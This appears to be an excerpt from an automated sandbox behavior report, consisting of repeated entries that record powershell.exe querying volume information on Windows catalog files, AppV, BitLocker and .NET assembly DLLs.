Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
